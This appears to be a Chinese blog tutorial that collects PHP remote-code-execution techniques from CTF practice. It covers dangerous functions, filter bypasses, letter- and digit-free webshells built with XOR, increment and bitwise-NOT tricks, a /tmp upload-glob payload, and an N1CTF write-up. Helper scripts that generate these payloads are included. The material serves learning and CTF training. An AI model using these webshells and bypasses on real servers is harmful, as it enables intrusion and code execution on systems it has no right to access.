Pr1nt
文章12
标签8
分类4

文章分类

文章归档

从0到1,AKRCE之旅

从0到1,AKRCE之旅

RCE全解
观前提示: 本文章主讲php中的RCE各种方法,Java的RCE我会在未来再写一篇文章

  1. 漏洞概述
  2. 常见漏洞函数
    1. 系统命令执行函数
    2. bash命令
    3. 代码执行函数
  3. 绕过
    1. 空格过滤:
    2. 函数过滤:
    3. 黑名单绕过:
    4. 内联执行
    5. 截取环境变量拼接
      1. 截取环境变量拼接进阶
  4. 无数字字母
    1. 利用$
    2. 常规
      1. php5
        1. 异或
        2. 自增
      2. php7
        1. 异或
    3. 补充
  5. 无数字字母进阶
    1. php7
    2. php5
  6. 一些特殊题目
  7. 路漫漫其修远兮 吾将上下而求索

漏洞概述

在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞;

常见漏洞函数

系统命令执行函数

1
2
3
4
5
6
7
8
system():能将字符串作为OS命令执行,且返回命令执行结果;  
exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);
shell_exec():能将字符串作为OS命令执行
passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;
popen():打开进程文件指针
proc_open():与popen()类似
pcntl_exec():在当前进程空间执行指定程序;
反引号``:反引号``内的字符串会被解析为OS命令

bash命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
ls:查看目录
dir:查看目录
grep:
wget:
sed:
cut:
awk:
strings:
od:
curl:
scp:
xxd:
mv:
cp:
pwd:

代码执行函数

1
2
3
4
5
6
7
8
eval():将字符串作为php代码执行;  
assert():将字符串作为php代码执行;
preg_replace():正则匹配替换字符串;
create_function():主要创建匿名函数;
call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;
call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;
可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;


绕过

空格过滤:

< <> %09 %0a
$IFS$9 ${IFS} $IFS %0d

函数过滤:

1
2
3
4
使用\绕过 如:ca\t fla\g
l\s
使用''绕过,如:
ca''t /flag

还可以使用通配符,*是匹配所有,比如flag.txt可以使用*.*来匹配,但是这样无法精确匹配到flag.txt,所以我们可以使用另一个通配符?,这个可以匹配单个内容,比如????.???就可以匹配到flag.txt,可以理解为万能字符

黑名单绕过:

1
2
3
4
5
6
7
8
9
10
11
var_dump()输出变量
file_get_contents() 读文件
get_defined_vars() 读变量
next() 对数组操作
array_pop() 弹出数组
rename() 重命名
eval(var_dump(scandir('/'););//读取根目录
cat `ls`//等效于打开ls目录下的文件
_被过滤可用'['代替
分号过滤使用?>闭合
show_source(next(array_reverse(scandir(pos(localeconv())))));
1
2
3
4
5
6
7
8
9
//glob伪协议读文件(适用于ls被限制):
$a='glob:///*';
$b=opendir($a);
if($b){
while(($file=readdir($b))!==false){
echo $file;
}
closedir($b);
}exit();
1
2
变量覆盖:
?rce=eval($_GET[1]);&1=phpinfo();

内联执行

echo ls
echo ${ls}
相当于把ls的结果使用echo输出

截取环境变量拼接

当所有函数都被过滤时,利用/var/www/html/bin/sh构造函数绕过,如ls,nl
${PATH:~0}代表取环境变量最后一位,在/binzhon中就是’n’,${PWD:~0}代表取系统变量最后一位,在/var/www/html中就是l,这样即可构造出nl

截取环境变量拼接进阶

在php中有一个系统变量 PHP_CFLAGS=-fstack-protectcor-strong-fpic-fpie-o2-D_LARGEFILE_SOURCE -D_FI LE_OFFSET_BITS=64 还可以利用php的版本号,例如7.3.22 中的3来构造tac

1
${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERS ION:${PHP_VERSION:~A}:~${SHLVL}}}

其中${PHP_VERSION:${PHP_VERSION:~A}代表3,所以等于${PHP_CFLAGS:3:3}也就是tac

还有另外一种比较特别的思路,构造/和t,然后使用通配符构造/bin/cat

这里不知道为什么放不出来,只能贴图了

pwd
gouzao

虽然大部分情况下以上内容足够完成题目,但若出现无数字字母的RCE题目就要看下面的了

无数字字母

对于一些基础的无数字字母RCE,可以使用探姬大佬的工具bashfuck

利用$

在只限制了字母数字的情况下,我们可以利用shell脚本中$的各种用法

变量名 含义
$0 脚本本身的名字
$1 脚本后所输入的第一串字符
$2 传递给该shell脚本的第二个参数
$* 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$@ 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$_ 表示上一个命令的最后一个参数
$# #脚本后所输入的字符串个数
$$ 脚本运行的当前进程ID号
$! 表示最后执行的后台命令的PID
$? 显示最后命令的退出状态,0表示没有错误,其他表示由错误

Linux变量$_,它存储着上次程序传入的参数,比如执行echo can you get the file of tmp命令后,再执行echo $_,发现结果是tmp。
由此有大佬出来一个题目,因为要使用报错信息回显,所以加上了2>&1,预期解是?command=. /$_
原理就是用点号+空格+文件名执行一个可执行文件,等效于source可执行文件,然后我们前面echo了一次flag,flag作为了最后一个参数,因此可以用$_代替这个flag,但又因为我们这个flag不是可执行文件,因此linux就会报错,然后打印并输出这个文件里的内容,类似于用date -f越权读文件一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
if(isset($_GET['command'])){
$command = $_GET['command'];
if(strlen($command)>5){
die("Too Long!");
}
if(preg_match("/[A-Za-z0-9]+/",$command)){
die("No letters or numbers!");
}
eval(system("echo you are not able to get flag;$command 2>&1"));
}else{
highlight_file(__FILE__);
}
?>

常规

转载p牛的文章一些不包含数字和字母的webshell

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

题目是这样的,非常经典的无数字字母rce,思路是要利用各种符号构造字符然后拼接函数实现rce,但php5与7中assert()函数是有区别的,在php5中,assert是一个函数,我们可以通过$f='assert';$f(phpinfo());这样的方法来动态执行任意代码。
但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。
在p牛的文章中,他使用php5作为环境,但在我们的文章中,就必须两个同时写出(也是记录自己学习的过程)

php5

异或

使用异或构造assert,例如

1
2
3
4
5
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

这里放个自己写的遍历脚本,要哪个字符输入即可(可遍历所有字符)(看了大佬的文章就想要是一个个找字符也太慢了,于是就写了个脚本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$input = readline(" 请输入字符: ");
for ($i = 0; $i < strlen($input); $i++) {
for ($a=0; $a <= 15; $a++){
for ($b=0; $b <= 15; $b++){
$current_char = $input[$i];
$c = '%' . dechex($a) . dechex($b);
//10进制转16进制
$decoded = urldecode(''.$c.'');
//两次单引号,不然没法写
$decoded_ascii = ord($decoded);
//求$curl解码之后的ascii数
$backtick_ascii = ord('`');
//求`的ascii数
$result = $decoded_ascii ^ $backtick_ascii;
//异或
if (chr($result) == $current_char) {
echo "$current_char ===> $c\n";
continue;
}

}
}
}
?>
自增

关于不使用位运算的方法,取反没写是没看懂QAQ

这就得借助PHP的一个小技巧,先看文档:
http://php.net/manual/zh/language.operators.increment.php
也就是说,‘a’++ => ‘b’,‘b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。那么,如何拿到一个值为字符串’a’的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
再取这个字符串的第一个字母,就可以获得’A’了。利用这个技巧,编写如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

php7

在php7中…

不是都php7了为什么不看下面无数字字母进阶里的一行极简写法,一个非常简单的取反解法,而且基本通杀,为什么还要研究这个又费劲限制又大的东西呢

开玩笑,该写还是得写的,喜欢用哪个自己选哈

php5中有用assert动态执行的方法,但php7中没有了,而是使用($a)();这类代码动态执行函数,p牛在文章中举例可以利用file_put_contents函数getshell,这是一个能写入文件的函数,所以我们可以利用这个构造一个shell文件

异或
1
2
3
4
5
6
7
8
9
10
<?php
$_=('%06'^'`').('%09'^'`').('%0c'^'`').('%05'^'`').'_'.('%10'^'`').('%15'^'`').('%14'^'`').'_'.('%03'^'`').('%0f'^'`').('%0e'^'`').('%14'^'`').('%05'^'`').('%0e'^'`').('%14'^'`').('%13'^'`');
//$_=file_put_contents
$__=('%12'^'`').('%03'^'`').('%05'^'`').'.'.('%10'^'`').('%08'^'`').('%10'^'`');
//$__=rce.php
$___=('%10'^'`').('%08'^'`').('%10'^'`').('%09'^'`').('%0e'^'`').('%06'^'`').('%0f'^'`');
//$___=phpinfo
$____=$_($__,$___());
//$____=file_put_contents(rce.php,phpinfo());
?>

成功!

phpinfo

补充

来自: https://www.freebuf.com/articles/network/279563.html
这里还需要介绍一种特殊的方法,无版本限制,因为本质是用异或构造_GET然后传参rce
ff

; 被过滤时,还可以使用短标签绕过
ff2

不知道为什么放不出来代码,只能用图片了

无数字字母进阶

关于进阶版,依然还是要推荐p牛的文章,本文章也就是用自己的话重复了一遍p牛的文章而已 无字母数字webshell之提高篇

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}

题目如上,_$被过滤了,而且限制长度,所以显然,上面的异或等需要使用$和_的payload用不了了,只能使用一些奇技淫巧。

php7

首先来说简单的,在php7中,可以利用($a)();这类的payload执行动态函数。
所以只需要构造一个取反后为命令的payload即可, 例如phpinfo取反后为%8F%97%8F%96%91%99%90, 那么payload为(~%8F%97%8F%96%91%99%90)(); 即可执行phpinfo()。
而如果要执行system, 则只需要在第一个括号中输入system取反, 第二个括号中输入system命令即可, 比如system(ipconfig)的payload为(~%8C%86%8C%8B%9A%92)(~%96%8F%9C%90%91%99%96%98);

system(ipconfig)

这里也挂一个脚本方便转换,不可见字符进行了url编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import urllib.parse

def construct_string():
target_string = input("请输入要转换的字符: ")
# 计算目标字符串的字节流
target_bytes = bytes(target_string, 'latin1')
# 计算取反后的字节流
inverted_bytes = bytes(~byte & 0xff for byte in target_bytes)
# 将取反后的字节流转换为字符串
inverted_string = inverted_bytes.decode('latin1', errors='replace')
# 对不可见字符进行 URL 编码
encoded_string = ''.join(urllib.parse.quote(char) if char not in ' \t\n\r\f\v' else char for char in inverted_string)
# 移除字符串中的 '%C2'
encoded_string = encoded_string.replace('%C2', '')
return encoded_string

def main():
constructed_string = construct_string()
print("result:", constructed_string)

if __name__ == "__main__":
main()

php5

在php5中,并没有php7中那种表达方式,因此上面的payload并不可以.
在Linux中,有两个关于shell的知识点:

  1. shell下可以利用.来执行任意脚本
  2. Linux文件名支持用glob通配符代替

. 的作用与source一样,就是用当前shell执行一个文件,那么如果服务器上有一个我们可控的文件,就可以使用.getshell了。这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。但若要执行这个文件,也需要字母,所以这时候就需要用到glob通配符了。但我们如果执行. /???/?????????,便会出现错误

kali

原因是匹配到的文件太多了,因此在执行第一个文件时就会报错,所以我们必须匹配到/tmp/phpxxxxxx这个文件。
上传一个文件我们可以发现,文件名是含有大小写的,而刚才ls出来的文件并没有大写的,所以我们可以根据大写字母来下手,使用通配符匹配大写即可,翻开ascii表,可见大写字母位于@[之间,因此我们可以使用[@-[]来匹配大写字符。

daxie

可以匹配成功。

因此我们发包传文件然后在code中输入payload即可

1
?code=?><?=`. /???/????????[@-[]`;?>

如果@被过滤,可以使用它前面的:;<=>?这几个来进行绕过虽然最后一个不一定是大写字母,但是多试几次就可以了

result

一些特殊题目

题目:2024 N1CTF 中web方向解题最多的zako(php)

大佬博客 2024 N1CTF Junior Web Writeup

以我这种小菜鸡的实力肯定是解不出来了,赛后看了Boogipop大神(ak了)的wp发现了这个有趣的解法,决定将它写在我的这篇文章中题目内容: 一个sh脚本,设置了白名单,只有两个函数能用lsgrep
还有一个黑名单,过滤了;&$(){}[]!@#$%^&*-和反引号(没法打这里了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));

$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd)>70) {
die("no, >70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){
die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

这里有两层waf,一个是php里的,一个在shell中,因此,大佬选择利用grep构造一个php文件绕过

1
2
3
4
<?php
$cmd = $_REQUEST["__secret.xswl.io"];
system("./execute.sh '".$cmd."'");
?>

依次输入命令:

1
2
3
grep "<?php" inde?.php >> pop.php
grep "cmd" inde?.php >> pop.php
grep "system" inde?.php >> pop.php

然后读取一下pop.php即可了最终在pop.php中payload为ls';cat /flag',第一个'闭合了.execute.sh,然后使用;拼接命令,最终用最后一个'闭合最后的单引号原理解析: 第一行命令grep "<?php" inde?.php >> pop.php将index.php中带有<?php的一行写入pop.php中,
第二行命令将带有cmd的一行,即$cmd = $_REQUEST["__secret.xswl.io"];写入,最后用第三行将system("./execute.sh '".$cmd."'");写入完成RCE。

路漫漫其修远兮 吾将上下而求索

无数字字母这一块基本都是转载的p神的文章(惭愧),也是从p神的文章中学到了很多知识,这里还是必须推一下p牛的博客,篇篇文章都是知识啊
p神的博客

通过自己写了这篇文章之后,自己以后再遇到rce题就会有一个基本思路了,这几天在学校也净思考RCE这一块东西了,自己关于p神的博客整了几个脚本,对于自己的项目应该还是能有点帮助从0到1,RCEmap开发之旅

还有Boogipop爷的思路,非常有趣,利用grep将给出题目的源码写入另一个文件中以绕过index.php中的过滤,学习到了。大B哥的博客

我知道这篇文章没有写全所有的RCE的内容,但是php中的RCE题目差不多就是这些了,本人还很菜,没有一些深刻的理解,如有错误的地方,请多多指正。